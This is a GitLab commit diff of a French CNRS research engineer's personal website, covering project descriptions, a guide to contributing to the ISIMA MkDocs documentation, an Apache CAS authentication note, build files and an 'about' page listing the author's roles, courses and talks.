Ce projet fait parti du [Programme d'investissements d'avenir (PIA)](https://www.education.gouv.fr/bo/16/Hebdo41/MENB1628228N.htm?cid_bo=108403). 

Ce projet se donne pour ambition, de promouvoir et de qualifier, par la nature de leurs effets, de nouveaux contextes d'apprentissage et d'enseignement afin de favoriser l'acquisition de compétences nouvelles pour répondre aux exigences des métiers du futur. 

Cette expérimentation est centrée sur une plateforme numérique qui permettra l'organisation et la bonne tenue de l'expérimentation ainsi que la collecte de données exploitables par la recherche en sciences cognitives dans 79 lycées professionnels, sur 3 années scolaires.

<hr />

## Pour ce projet (de 2017 à 2021)

* j'ai défini les besoins et l'architecture technique
* j'ai recruté 2 développeurs pour la conception de la plateforme
    * [<i class="fab fa-linkedin"></i> Benoit Petitcollot](https://www.linkedin.com/in/beno%C3%AEt-petitcollot-60bbb6a6/?originalSubdomain=fr)
    * [<i class="fab fa-linkedin"></i> Ruben Martinez](https://www.linkedin.com/in/ruben-martinez-8337a469/)
    * Carlos Cepeda
* j'ai encadré jusqu'à 3 développeurs, ainsi qu'un stagiaire
* j'ai joué le rôle de coordinateur entre
    * les rectorats, le service des sytèmes d'information (SI) et le service d'analyse statistiques de l'éducation nationale pour la récupération des données concernant les lycéens, l'authentification des lycéens et professeurs et le déploiement de l'application
    * les chercheurs du [LAPSCO](https://www.lapsco.fr/) et du [LP3C](https://www.lp3c.fr/en/presentation/) pour la mise en place d'une dizaine de questionnaires et d'une demi douzaine outils d’évaluation
* je suis **co auteur de plusieurs <a href="/pages/recherche.html"><span class="label label-success">articles de recherche</span></a>** en tant que membre du consortium ProFan
* Le succès de cette expérimentation m'a également permis de piloter les projets <a href="/eccipe.html"><span class="label label-success">ECCIPE</span></a> et <a href="/profan-transfert.html"><span class="label label-success">ProFan-Transfert</span></a>
+38 −0
Original line number Diff line number Diff line
Title: Stam  <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
Date: 2019-10-06 10:27
Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
Tags: www, métro, Feder


<div class="progress">
    <div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width: 100%">
        <span class="sr-only">100% complete</span>
    </div>
</div>

## STAM

Stam est un projet [FEDER](https://www.europe-en-france.gouv.fr/fr/fonds-europeens/fonds-europeen-de-developpement-regional-FEDER) piloté par un consortium composé d’acteurs du monde de la métrologie et de chercheurs ayant pour vocation la conception d’une plateforme de révision de mesures réalisées à l’aide d’outils connectés.

## L’ENJEU

Pour comprendre tout l’enjeu derrière ce projet, il faut d’abord se départir d’un apriori trèsrépandu: une mesure est exacte. En effet, la mesure comporte toujours un biais induit par des phénomènes physiques ou humains; dans certaines conditions ce biais a un impact non négligeable(programme spatial par exemple) et c’est ainsi que diverses méthodologies pour quantifier les incertitudes de mesure ont vu le jour (voir le Guide sur l’Incertitude de Mesure).Toutefois, ces méthodologies reposent sur des approches manuelles d’inventaire des causes d’incertitudes. Elles sont donc assez laborieuses à mettre en oeuvre et pas assez conscientes du contexte opératoire qui est le leur.C’est de là qu’est née l’idée de concevoir une plateforme recueillant à la volée des mesures et des données de contexte venant d’objet connectés. Cela permettrait dans un premier temps de faciliter la saisie de la valeur lue et d’autre part de prendre en compte dans la phase de révision de la mesure diverses informations de contexte (hygrométrie relative,répétabilité inter-opérateur). Ces informations de contexte sont agrégées sous forme de convolutions de lois de distribution pour modéliser la dispersion de l’erreur.

## MISE EN OEUVRE

Chacune des parties prenantes se charge d’un des aspects techniques: 

* [Deltamu](https://deltamu.com) précise les spécifications
* [Phiméca](phimeca.com) se charge de l’implémentation des outils de calcul
* [Perfect memory](https://perfect-memory.com) propose un outil documentaire basé sur la sémantique
* Le [LIMOS](https://limos.fr/) dresse l’architecture globale et propose un POC de la plateforme

<hr />

## Pour ce projet (de 2019 à 2021)

* j'ai défini les besoins et l'architecture technique
* j'ai recruté un développeur pour la conception de la plateforme
    * [<i class="fab fa-linkedin"></i> Papa Mamadou Ndiaye](https://www.linkedin.com/in/papa-mamadou-ndiaye-15338984/)
* j'ai encadré ce développeur pour la réalisation d'une maquette de la plateforme
* j'ai joué le rôle de coordinateur entre les différents acteurs
 No newline at end of file

content/cri/documentation.md

deleted100644 → 0
+0 −163
Original line number Diff line number Diff line
Title: Les documentations cri et utilisateur pour l'ISIMA et le LIMOS
Date: 2017-05-22 10:20
Status: Published
Tags: doc, python, mkdocs
Summary: Comment bien les utiliser, et comment y contribuer
Image: images/doc/book.jpg

[TOC]

## Pourquoi deux nouvelles documentations?

L'idée est de centraliser, tout en mettant à jour, les documentations existantes pour l'ISIMA et le LIMOS

* [http://com.isima.fr/cri/infoadmin](http://com.isima.fr/cri/infoadmin)
* [System Operations Center](http://192.168.100.7/PluXml/)
* [isima wiki / intranet](http://com.isima.fr/cri)

Si une autre source de documentation vous paraît pertinente n'hésitez pas à la soumettre à [cri@isima.fr](mailto:cri@isima.fr)

* la [documentation cri aka **doc-cri**](https://doc.cri.isima.fr/) est à usage restreint et nécessite donc une authentification avec le compte utilisateur Active Directory. Précisément elle est réservée aux seuls enseignants chercheurs ou personnels de l'ISIMA ou du LIMOS.
* la [documentation utilisateur aka **doc-user**](https://doc.isima.fr/) est consultable par tout un chacun.

## Comment sont faites ces deux documentations?

[doc-cri](https://doc.cri.isima.fr/) et [doc-user](https://doc.isima.fr/) sont toutes deux écrites avec le [projet MkDocs](http://www.mkdocs.org/),
issu du monde python et largement utilisé  dans le monde de l'open source.

MkDocs]( est un module python qui permet à partir d'un code source (une simple arborescence de fichiers textes au format [markdown](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet)) de générer des fichiers html statiques présentés dans une charte graphique fonctionnelle et unifiée.

Les codes source sont consultables et modifiables sur le [<i class="fa fa-gitlab" aria-hidden="true"></i>
gitlab de l'ISIMA](https://gitlab.isima.fr) par les seuls enseignants chercheurs ou personnels de l'ISIMA ou du LIMOS dotés d'un compte Active Directory.


* <i class="fa fa-gitlab" aria-hidden="true"></i>
 [https://gitlab.isima.fr/cri/doc-user](https://gitlab.isima.fr/cri/doc-user) pour [**doc-user**](https://doc.isima.fr/)
* <i class="fa fa-gitlab" aria-hidden="true"></i>
 [https://gitlab.isima.fr/cri/doc-cri](https://gitlab.isima.fr/cri/doc-cri) pour [**doc-cri**](https://doc.cri.isima.fr/)

> Toutes les contributions, corrections ou suggestions sont les bienvenues: **une documentation à jour est un gain de temps pour tous au quotidien!**

## Comment contribuer à [**doc-cri**](https://doc.cri.isima.fr/) ou à [**doc-user**](https://doc.isima.fr/)

### 0 - Prérequis

* [python](https://www.python.org/) >= 2.6 ([installation](http://www.mkdocs.org/#installing-python))
* [pip](https://pypi.python.org/pypi/pip) ([installation](https://pip.pypa.io/en/stable/installing/))
* [git](https://git-scm.com/) ([installation](https://git-scm.com/book/fr/v1/D%C3%A9marrage-rapide-Installation-de-Git))
* un éditeur de texte : [atom.io](https://atom.io/) est recommandé car il intègre un éditeur markdown ergonomique
* connaître les rudiments du *langage* [markdown](https://guides.github.com/features/mastering-markdown/)
* la commande [mkdocs](http://www.mkdocs.org/) installable via pip

```shell
sudo pip install mkdocs
```  

> N.B. il est aussi possible d'installer mkdocs dans un virtualenv python afin de ne pas modifier la configuration de python sur votre système


### 1 - Récupérer les sources à partir de [https://gitlab.isima.fr](https://gitlab.isima.fr)

* forker le projet [https://gitlab.isima.fr/cri/doc-cri](https://gitlab.isima.fr/cri/doc-cri) ou  [https://gitlab.isima.fr/cri/doc-user](https://gitlab.isima.fr/cri/doc-user)

[![fork doc-cri step 1](images/cri/doc-cri.png)](images/cri/doc-cri.png)

* spécifier *éventuellement* l'utilisateur avec lequel forker

[![fork doc-cri step 2](images/cri/fork-doc-cri-0.png)](images/cri/fork-doc-cri-0.png)

* vous avez désormais un repository, clone de l'original, sur lequel vous pouvez travailler

[![fork doc-cri step 3](images/cri/fork-doc-cri.png)](images/cri/fork-doc-cri.png)

* vous pouvez cloner le repository en local

```bash
cd /path/to/your/projects/folder
git clone git@gitlab.isima.fr:mazenovi/doc-cri.git
cd doc-cri
```  

### 2 - Démarrer l'environnement MkDocs local

```bash
mkdocs serve
```
* vous pouvez accéder à la doc en local en ouvrant [http://127.0.0.1:8000](http://127.0.0.1:8000) dans votre navigateur

### 3 - &Eacute;diter ou créer du contenu

#### 3.1 - &Eacute;diter du contenu existant

* éditer les fichiers markdown **(*.md)** dans le dossier ```docs```
    * [atom.io](https://atom.io/) possède une coloration syntaxique et une prévisualisation pour markdown **(ctrl+maj+m)**
* les changements sont automatiquement rendus après sauvegarde du fichier sur [http://127.0.0.1:8000](http://127.0.0.1:8000)

#### 3.2 - Créer du contenu

* créer un nouveau fichier markdown (.md) dans le dossier ```docs``` ou dans l'un de ses sous dossiers
    * [atom.io](https://atom.io/) possède une coloration syntaxique et une prévisualisation pour markdown **(ctrl+maj+m)**
* dans ```mkdocs.yml``` ajouter une entrée à la section ```page:``` afin d'ajouter le nouveau fichier au menu

> Attention tous les fichiers .md ajoutés doivent être référencés dans le fichier ```mkdocs.yml``` sans quoi ils ne seront pas interprétés

```yaml
pages:
    - 'Section': section.md
```

* le nouveau fichier peut également être ajouté à un sous menu

```yaml
pages:
    - 'Section':
        - 'Subsection': subsection.md
```

* les changements sont automatiquement rendus après sauvegarde du fichier sur [http://127.0.0.1:8000](http://127.0.0.1:8000)

### 4 - Versionner et propager les modifications

* ajouter tous les nouveaux fichiers et les fichiers modifiés au prochain commit

```shell
git add . --all
```

* valider les modifications sur le repository git local via un commit

```bash  
git commit -m "my awesome contribution"
```

* publier les modifications sur le repository git distant

```bash  
git push origin master
```

* soumettre vos modifications via une **merge request** à partir de [https://gitlab.isima.fr](https://gitlab.isima.fr)

[![merge request doc-cri step 0](images/cri/merge-request-doc-cri-0.png)](images/cri/merge-request-doc-cri-0.png)

* créer une nouvelle **merge request**

[![merge request doc-cri step 1](images/cri/merge-request-doc-cri-1.png)](images/cri/merge-request-doc-cri-1.png)

* sélectionner la branche concernée (ici *master*) et cliquer sur **compare branches and continue***

[![merge request doc-cri step 2](images/cri/merge-request-doc-cri-2.png)](images/cri/merge-request-doc-cri-2.png)

* ajouter la branche concernée (ici *master*) et cliquer sur **compare branches and continue***

[![merge request doc-cri step 3](images/cri/merge-request-doc-cri-3.png)](images/cri/merge-request-doc-cri-3.png)

> Votre **merge request** sera automatiquement soumise à l'équipe CRI et mettra automatiquement la documentation à jour en cas d'acceptation

Pour en savoir plus sur git vous pouvez lire également mon post <a href="https://limos.isima.fr/~mazenod/git-101.html">git 101</a>

## Comment faire une demande d'ajout ou de modification

Vous pouvez adresser toutes vos demandes ou remarques en cliquant sur le lien "Issues"

[![Issues via gitlab](images/cri/issue-gitlab-thumb.png)](images/cri/issue-gitlab.png)
Original line number Diff line number Diff line
body { font-size: 170%; }

.breadcrumb {
  border: none;
  text-shadow: none;
+32 −0
Original line number Diff line number Diff line
$( document ).ready(function() {
    
    $('a.expand').click(function(event) {

        if($(this).text() == 'version longue') {
            $(this).text('version courte');
            $('a.toggle').each(function() {
                $("#" + $(this).attr('name')).closest('li').show();        
            });
        }
        else {
            $(this).text('version longue');
            $('a.toggle').each(function() {
                $("#" + $(this).attr('name')).closest('li').hide();        
            });
        }

    });

    $('a.toggle').click(function() {
        $("#" + $(this).attr('name')).closest('li').toggle();
    });

    $('a.customizable').click(function() {
        if($('#username').val() != "") {
            $(this).attr("href", $(this).attr("href") + "?" + $('#username').val());
        }
    });

    

});
 No newline at end of file

content/gitlab/gitlab.md

deleted100644 → 0
+0 −27
Original line number Diff line number Diff line
Title: gitlab.isima.fr
Date: 2017-05-16 10:20
Status: Published
Tags: www, dev
Summary: Pourquoi et surtout comment utiliser la nouvelle forge logicielle du LIMOS https://gitlab.isima.fr?
Image: images/gitlab/gitlab.png

## Qu'est ce que gitlab?

## Ce que n'est pas gitlab ...

Un substitut de Dropbox! Gitlab est optimisé pour versionner des fichiers textes, d'une taille raiisonnable ...
Eviter donc les dossiers de milliers d'images, les vidéos de plusieurs giga


## Pourquoi une nouvelle forge plutôt que [La forge universitaire](https://forge.clermont-universite.fr/)

* simplification de l'administration (private/internal/publi) plutôt que de constituer une équipe nominativement
* les groupes en mode super utilisateurs

## configurer ses clés ssh

## mattermost

### Merge requests

### Intégration continue
+0 −12
Original line number Diff line number Diff line
<?xml version="1.0" encoding="UTF-8"?>
<comment version="3.0">
  <caption/>
  <note>Red hardcover book gutter with sewn pages flipping through the air ready for browsing. The cover has a shiny, plastic texture.</note>
  <place/>
  <categories>
    <category value="gutter"/>
    <category value="pages"/>
    <category value="hardcover"/>
    <category value="book"/>
  </categories>
</comment>

content/images/wtfpl.svg

deleted100755 → 0
+0 −62
Original line number Diff line number Diff line
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->

<svg
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:cc="http://creativecommons.org/ns#"
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:svg="http://www.w3.org/2000/svg"
   xmlns="http://www.w3.org/2000/svg"
   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
   id="svg2"
   version="1.1"
   inkscape:version="0.48.3.1 r9886"
   width="297"
   height="215"
   sodipodi:docname="logo-297x215.png">
  <metadata
     id="metadata8">
    <rdf:RDF>
      <cc:Work
         rdf:about="">
        <dc:format>image/svg+xml</dc:format>
        <dc:type
           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
        <dc:title></dc:title>
      </cc:Work>
    </rdf:RDF>
  </metadata>
  <defs
     id="defs6" />
  <sodipodi:namedview
     pagecolor="#ffffff"
     bordercolor="#666666"
     borderopacity="1"
     objecttolerance="10"
     gridtolerance="10"
     guidetolerance="10"
     inkscape:pageopacity="0"
     inkscape:pageshadow="2"
     inkscape:window-width="1400"
     inkscape:window-height="1050"
     id="namedview4"
     showgrid="false"
     inkscape:zoom="1.0976744"
     inkscape:cx="136.51714"
     inkscape:cy="88.933051"
     inkscape:window-x="0"
     inkscape:window-y="0"
     inkscape:window-maximized="0"
     inkscape:current-layer="svg2" />
  <path
     style="fill:#000000;fill-opacity:1;stroke:none"
     d="M 108.40625 5.90625 C 52.306055 5.90625 6.84375 51.399805 6.84375 107.5 C 6.84375 163.60019 52.306055 209.09375 108.40625 209.09375 C 122.61329 209.09375 136.12775 206.14216 148.40625 200.875 C 160.68475 206.14216 174.19921 209.09375 188.40625 209.09375 C 244.50644 209.09375 290 163.60019 290 107.5 C 290 51.399805 244.50644 5.90625 188.40625 5.90625 C 174.19921 5.90625 160.68475 8.8578414 148.40625 14.125 C 136.12775 8.8578414 122.61329 5.90625 108.40625 5.90625 z M 106.40625 37.8125 C 121.73587 37.8125 135.91647 42.733394 147.46875 51.0625 C 159.02103 42.733394 173.17038 37.8125 188.5 37.8125 C 227.32183 37.8125 258.8125 69.271923 258.8125 108.09375 C 258.8125 146.91558 227.32183 178.40625 188.5 178.40625 C 173.17274 178.40625 159.02006 173.48302 147.46875 165.15625 C 135.91744 173.48302 121.73351 178.40625 106.40625 178.40625 C 67.584423 178.40625 36.125 146.91558 36.125 108.09375 C 36.125 69.271923 67.584423 37.8125 106.40625 37.8125 z "
     id="path2989" />
  <path
     style="fill:#000000;stroke:none;stroke-width:0.20000000000000001;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none;fill-opacity:1"
     d="m 116.82546,66.192973 -33.419525,0 c -22.54767,46.689617 -3.679505,78.469377 11.230018,85.067227 14.909527,6.59786 39.297897,10.78923 52.843627,-13.64071 11.127,20.91039 36.41018,22.12022 53.22181,14.37696 16.81163,-7.74327 33.12311,-43.11547 11.73047,-85.803477 l -33.99227,2.7e-5 c 11.50159,26.419492 11.73257,62.462 0.009,63.53264 -11.72378,1.07063 -15.09694,-2.84981 -13.76446,-44.285231 l -33.309,-0.149602 c 2.48911,40.900273 -5.08883,48.002003 -15.33865,43.514363 -10.24982,-4.48763 -9.79468,-28.13042 0.78918,-62.612197 z"
     id="path3768"
     inkscape:connector-curvature="0"
     sodipodi:nodetypes="cczczcczcczc" />
</svg>

content/ispconfig/remote-api.md

deleted100644 → 0
+0 −15
Original line number Diff line number Diff line
Title: ispconfig avec l'API distante d'ispconfig
Date: 2017-05-03 10:20
Status: Draft
Tags: ispconfig, admin, www

Ispconfig propose une API SOAP permettant d'exploiter toutes les fonctionnalités d'ipconfig pour la gesiton des hôtes virtuels, des mails, des DNS, des bases de données, etc ...


https://github.com/guru-digital/ispconfig-cli

https://github.com/pemedina/ispconfig-cli

https://git.ispconfig.org/ispconfig/ispconfig3

https://git.ispconfig.org/ispconfig/ispconfig3/tree/master/remoting_client
+0 −65
Original line number Diff line number Diff line
Title: Utiliser mod_auth_cas avec apache
Date: 2017-05-15 16:20
Status: Published
Tags: ispconfig, admin, www
Summary: Comment utiliser le CAS ed l'isima via un htaccess apache
Image: images/ispconfig/apache.jpg


Installation du module apache cas

```bash
sudo apt-get install libapache2-mod-auth-cas
sudo service apache2 restart
```

le serveur apache ne répond plus. En regardant les log

```bash
vi /var/log/apache2/error.log
```

on découvre que

```bash
[Thu May 11 17:14:26.807324 2017] [:error] [pid 3398] MOD_AUTH_CAS: CASLoginURL or CASValidateURL not defined.
```

en inspectant le paquet précédemment installé avec

```bash
sudo dpkg -L libapache2-mod-auth-cas
...
/etc/apache2/mods-available/auth_cas.conf
...
```

on découvre un fichier qui ressemble à un fichier de conf par défaut, qu'il suffit de compléter avec les paramètres manquants CASLoginURL & CASValidateURL

```bash
CASCookiePath /var/cache/apache2/mod_auth_cas/
CASValidateServer On
CASLoginURL https://login.isima.fr/cas/login
CASValidateURL https://login.isima.fr/cas/serviceValidate
```

à partir de là l'authentification peut se gérer avec un .htaccess directement dans le vhost

```bash
<Directory {DOCROOT}>
       AuthName 'Private'
       AuthType CAS
       Require valid-user
</Directory>
```
l'utilisateur authentifié sera accessible en php vi la variable globale ```$_SERVER```

```bash
echo $_SERVER[HTTP_CAS_USER]; // will display authenticated username
```

Il est possible d'aller plus loin dans les permission en filtrant avec une requête LDAP

* https://httpd.apache.org/docs/2.4/fr/mod/mod_authnz_ldap.html
* http://stackoverflow.com/questions/8939487/how-to-support-require-group-foobar-in-mod-auth-cas
* http://stackoverflow.com/questions/2239069/how-do-i-retrieve-the-user-information-of-a-user-authenticated-with-apaches-mod#2239822
+18 −0
Original line number Diff line number Diff line
{
  "name": "*",
  "version": "1.0.0",
  "lockfileVersion": 1,
  "requires": true,
  "dependencies": {
    "font-awesome": {
      "version": "4.7.0",
      "resolved": "https://registry.npmjs.org/font-awesome/-/font-awesome-4.7.0.tgz",
      "integrity": "sha1-j6jPBBGhoxr9B7BtKQK7n8gVoTM="
    },
    "reveal.js": {
      "version": "3.9.2",
      "resolved": "https://registry.npmjs.org/reveal.js/-/reveal.js-3.9.2.tgz",
      "integrity": "sha512-Dvv2oA9FrtOHE2DWj5js8pMRfwq++Wmvsn1EyAdYLC80lBjTphns+tPsB652Bnvep9AVviuVS/b4XoVY9rXHLA=="
    }
  }
}

content/package.json

0 → 100644
+15 −0
Original line number Diff line number Diff line
{
  "name": "*",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "@fortawesome/fontawesome-free": "^6.1.1",
    "reveal.js": "^3.5.0"
  }
}

content/pages/cours.md

deleted100644 → 0
+0 −4
Original line number Diff line number Diff line
Title: <i class="fa fa-graduation-cap" aria-hidden="true"></i> Cours
Date: 2017-05-16 10:25

## Cette page est actuellement en cours de construction
Original line number Diff line number Diff line
Title: <i class="fa fa-briefcase" aria-hidden="true"></i> &Agrave; propos
Date: 2010-05-17 10:27
Title: <i class="fa fa-briefcase" aria-hidden="true"></i> &agrave; propos
Date: 2021-03-09 10:27
Category: <i class="fa fa-briefcase" aria-hidden="true"></i> &agrave; propos
slug: index
lang: fr
save_as: index.html
url: index.html
Number: 2

Bienvenue sur ma page perso,
## <i class="fas fa-desktop"></i> Ingénieur de Recherche Informatique au CNRS <a class="expand btn btn-primary float-right">version courte</a>

Je suis ingénieur d'études CNRS depuis 2002.
### <i class="fas fa-quote-left"></i>You can't defend. You can't prevent. The only thing you can do is detect and respond.<i class="fas fa-quote-right"></i> <span style="float:right;font-size: smaller; padding-top: 15px;">*Bruce Schneier*</span>

Au LIMOS j'interviens à différents niveaux dans des projets recherches

* montage du projet
* gestion du projet
* développement logiciel lié au projet
<hr />

Vous trouverez ici
<center>

* la liste des [projets](/projets.html) auquels je participe
* mon [blog](/blog.html) qui référence des notes techniques et des idées à développer
* les rapports de [recherche](/recherche.html) aux quels j'ai participé
* des supports de [cours](/cours)
#### En poste au [LIMOS](htttps://limos.fr), UMR ([CNRS](https://www.cnrs.fr)/[UCA](https://uca.fr)/[EMSE](https://www.mines-stetienne.fr/)), hébergée par l'[ISIMA](htttps://isima.fr)

</center>

<hr />

* Je supervise <a name="cri" class="toggle"><i class="fas fa-users-cog"></i> le service informatique commun CRI ISIMA / LIMOS  (9 personnes)</a> 
    * <i id="cri" class="fas fa-users-cog"></i> [service informatique commun CRI ISIMA / LIMOS](https://doc.isima.fr/support/cri)
        * composé de 
            * 4 ingénieurs 
            * 1 assistant ingénieur
            * 3 techniciens
            * 1 CDD
        * animation et gestion de l'équipe 
            * blog du [CRI ISIMA / LIMOS](https://cri.isima.fr)
        * suivi de tous les projets de l'équipe
            * infrastructure (matériels et réseaux)
        * gestion du budget
        * interlocuteur [UCA](https://uca.fr) / [INP](https://www.clermont-auvergne-inp.fr/)
        
<hr />

* J'industrialise et gère l'exploitation d'un <a name="cloud" class="toggle"><i class="fas fa-cloud-upload-alt"></i> cloud souverain</a> (un vrai!) et l'administration de différents <a name="server" class="toggle"><i class="fas fa-server"></i> services</a>
    * <i id="cloud" class="fas fa-cloud-upload-alt"></i> exploitation de notre cloud (vraiment!) souverain
        * proxmox
        * <strike>ansible</strike>
        * <strike>vault</strike>
        * <strike>consul</strike>
        * <strike>terraform</strike>
        * <strike>packer</strike>
        * pour différentes raisons cette pile logicielle est appelée à évoluer dans les prochaines années
    * <i id="server" class="fas fa-server"></i> administration de services
        * [My](https://my.isima.fr) un développement [<i class="fab fa-symfony"></i> symfony 6](https://symfony.com/), métier, permettant de gérer une partie des systèmes d'information de l'ISIMA et du LIMOS
        * [gestionnaire de ticket](https://support.isima.fr/) pour le support ([gestsup](https://gestsup.fr/))
        * hébergement web mututalisé ([ispconfig](https://www.ispconfig.org/))
        * forges logicielles, l'une [orientée recherche](https://gitlab.limos.fr), l'autre [orientée pédagogie](https://gitlab.isima.fr) ([gitlab](https://about.gitlab.com)
        * [partage de notes](https://hedgedoc.isima.fr) ([hedgedoc](https://hedgedoc.org)/[codimd](https://github.com/hackmdio/codimd))
        * clavardage avec ([mattermost](https://mattermost.com/))
        * sauvegarde et restauration ([backuppc](https://backuppc.github.io/backuppc/))
        * documentations collaboratives, l'une [à destination des utilisateurs](https://doc.isima.fr/), l'autre à destination des administrateurs ([mkdocs](https://www.mkdocs.org/))
        * système de page perso ([apache](https://httpd.apache.org/docs/2.4/howto/public_html.html))
<hr />

* Je gère différents <a name="projects" class="toggle"><i class="fas fa-flask"></i> projets recherche</a>
    * <i id="projects" class="fas fa-flask"></i> projets recherche
        
        * [ProFan-Transfert](/profan-transfert.html) <i class="fas fa-spinner fa-spin"></i>
        * [ECCIPE](/profan-transfert.html) <i class="fas fa-spinner fa-spin"></i>
        * [ARBORéa](/arborea.html) <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
        * [Stam](/stam.html) <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
        * [ep3c](/ep3c.html) <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
        * [Profan](/profan.html) <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
        * [mobipaléo](/mobipaleo.html) <i class="fas fa-spinner fa-spin"></i>
        * [CEPPPIA](/cepppia.html) <i class="fas fa-check-circle text-success" aria-hidden='true'></i>

    * Pour ces projets recherche, j'encadre 4 développeurs, et interviens tout au long du <a name="projects-tasks" class="toggle"></i><i class="fas fa-tasks"></i> cycle de vie des projets
        * <i id="projects-tasks" class="fas fa-tasks"></i> cycle de vie des projets
            * défintion des besoins
            * défintion de l'architecture 
            * recrutement et animation d'un (ou d'une équipe de) développeur(s)
            * gestion de l'hébergement et du déploiement
            * expertises techniques
            * suivi de projets
            * revue de code et recette
            * mise en place des référentiels légaux (RGPD, données de santé, ...)
            * mise à disposition des données (entrepôt)
<hr />

* Je participe au développement de projets, recherche ou interne à l'équipe, avec différentes <a name="techno" class="toggle"><i class="fas fa-code-branch"></i> technologies</a>
    * <i id="techno" class="fas fa-code-branch"></i> développement
        * <i class="fab fa-php"></i> php / <i class="fab fa-symfony"></i> symfony
        * <i class="fab fa-python"></i> python
        * <i class="fas fa-terminal"></i> bash
        * <i class="fab fa-js"></i> javascript
        * <i class="fab fa-html5"></i> html
        * <i class="fab fa-css3-alt"></i> css
        

<hr />

* Je suis impliqué dans la chaîne fonctionnelle <a name="ssi" class="toggle"><i class="fas fa-shield-alt"></i> SSI</a>
    * <i id="ssi" class="fas fa-shield-alt"></i> SSI
        * correspondant Sécurité des Systèmes d'Informations (CSSI) pour le [LIMOS](htttps://limos.fr) et l'[ISIMA](htttps://isima.fr)
        * membre de la CRSSI de [DR7 à Lyon](https://www.rhone-auvergne.cnrs.fr/)
        * membre de la Cellule Audit & Veille SSI à l'[UCA](https://uca.fr)
        * pilotage de la politique de chiffrement et anti-virus au [LIMOS](https://limos.fr) et à l'[ISIMA](htttps://isima.fr)
<hr />

* Je donne aussi quelques <a name="school" class="toggle"><i class="fas fa-graduation-cap"></i> cours</a> à l'[ISIMA](htttps://isima.fr)
    * <i id="school" class="fas fa-graduation-cap"></i> cours à l'[ISIMA](htttps://isima.fr)
        * <i class="fas fa-shield-alt"></i> [Sécurité des application Web](/zz2-f5-securite-logicielle-securite-des-applications-web.html)
        * <strike><i class="fas fa-sad-cry"></i>  [Privacy & Cryptologie](/zz2-f5-privacy-crypto.html)</strike>
        * <i class="fas fa-user-secret"></i> [Ethique & informatique: Je n'ai rien à cacher](/zz3-je-nai-rien-a-cacher.html)
        * <i class="fas fa-history"></i> Histoire de l'informatique <i class="fas fa-spinner fa-spin"></i>
<hr />

* J'interviens dans différents contextes sur <a name="talks" class="toggle"><i class="fas fa-comment"></i> diverses thématiques</a>
    * <i id="talks" class="fas fa-comment"></i> interventions
        * 08/10/2024 pour les [JoSy Proxmlox Virtual Environment (PVE)](https://indico.mathrice.fr/event/542/overview): Terraform, Devopx, PVE <span class="label label-warning">à venir</span>
        * 07/06/2022 pour les [journées Proxmox VE / Ceph 2022](https://indico.mathrice.fr/event/327/): [Proxmox VE & DevOps](https://webtv.uca.fr/video/c82cf242-bbb0-427a-b5d6-b44c700f9409?time=4h27m12s)
        * 15/01/2021 pour [La Montagne](https://www.lamontagne.fr/): [Les cyberattaques, retour sur ce virus qui touche les organismes de santé en France en plein Covid-19](https://www.lamontagne.fr/paris-75000/actualites/les-cyberattaques-retour-sur-ce-virus-qui-touche-les-organismes-de-sante-en-france-en-plein-covid-19_13900627/)
        * 27/11/2020 pour [Subatech](http://www-subatech.in2p3.fr/fr/): [sécurité et navigateur](/slides/privacy/browser.html)
        * 01/12/2020 pour [Le GRIN](https://legrin.fr/): [ÉPIDÉMIE(S)#25 - Peut-on encore compter sur le progrès?](https://podcast.ausha.co/epidemie-s/epidemie-s-25-peut-on-encore-compter-sur-le-progres) (avec [Yves Caseau](https://www.linkedin.com/in/ycaseau/))
        * 23/05/2019 pour [Clermont'ech](https://www.clermontech.org): [vault](https://www.clermontech.org/talks/api-hour-42/Vincent-Mazenod-Vault.html)
        * 18/12/2108 pour [le lycée Sidoine Apollinaire](https://www.lycee-sidoine-apollinaire.fr/): [Je n'ai rien à cacher / RGPD](/privacy/jnarac.html)
        * 15/05/2018 pour [pint of science](/slides/privacy/surfer_couvert.html): [surfez couvert!](/slides/privacy/surfer_couvert.html)
        * 11/03/2018 pour [l'esc Clermont](https://www.esc-clermont.fr/) : [Conférence – table ronde : Monnaies virtuelles, Initial Coin Offerings (ICOs) et Blockchain : Innovations en finance majeures ?](https://www.esc-clermont.fr/conference-table-ronde-monnaies-virtuelles-initial-coin-offerings-icos-et-blockchain-innovations-en-finance-majeures/)
        * 30/09/2017 pour [Clermont'ech](https://www.clermontech.org): [mets ta cagoule, ça va hacker](https://www.youtube.com/watch?v=oOGuGn2qWhk)
        * 16/05/2017 pour [La Montagne](https://www.lamontagne.fr/): [Interview dans La Montagne au sujet du ransomware WannaCry](/images/presse/wannacry.jpg)
        * 13/04/2017 pour [ARAMIS](https://aramis.resinfo.org): [Dev & Ops : les outils du dialogue - 9ème journée Aramis 2017](https://webcast.in2p3.fr/video/bonnes_pratiques_en_developpement_web)
        * 23/03/2017 pour [le lycée de chamalières](https://www.lyceedechamalieres.fr/): [Je n'ai rien à cacher / RGPD](/privacy/jnarac.html)
        * 07/07/2016 pour [Clermont'ech](https://www.clermontech.org): [Drupalgeddon](https://www.clermontech.org/talks/api-hour-21/3-vincent-mazenod-drupalgeddon.html)
